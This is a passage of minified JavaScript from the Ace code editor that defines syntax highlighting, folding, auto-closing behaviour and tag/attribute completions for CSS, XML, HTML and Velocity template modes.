f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/velocity_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./html_highlight_rules\").HtmlHighlightRules,u=function(){o.call(this);var e=i.arrayToMap(\"true|false|null\".split(\"|\")),t=i.arrayToMap(\"_DateTool|_DisplayTool|_EscapeTool|_FieldTool|_MathTool|_NumberTool|_SerializerTool|_SortTool|_StringTool|_XPathTool\".split(\"|\")),n=i.arrayToMap(\"$contentRoot|$foreach\".split(\"|\")),r=i.arrayToMap(\"#set|#macro|#include|#parse|#if|#elseif|#else|#foreach|#break|#end|#stop\".split(\"|\"));this.$rules.start.push({token:\"comment\",regex:\"##.*$\"},{token:\"comment.block\",regex:\"#\\\\*\",next:\"vm_comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:function(i){return r.hasOwnProperty(i)?\"keyword\":e.hasOwnProperty(i)?\"constant.language\":n.hasOwnProperty(i)?\"variable.language\":t.hasOwnProperty(i)||t.hasOwnProperty(i.substring(1))?\"support.function\":i==\"debugger\"?\"invalid.deprecated\":i.match(/^(\\$[a-zA-Z_][a-zA-Z0-9_]*)$/)?\"variable\":\"identifier\"},regex:\"[a-zA-Z$#][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|&|\\\\*|\\\\-|\\\\+|=|!=|<=|>=|<|>|&&|\\\\|\\\\|\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}),this.$rules.vm_comment=[{token:\"comment\",regex:\"\\\\*#|-->\",next:\"start\"},{defaultToken:\"comment\"}],this.$rules.vm_start=[{token:\"variable\",regex:\"}\",next:\"pop\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^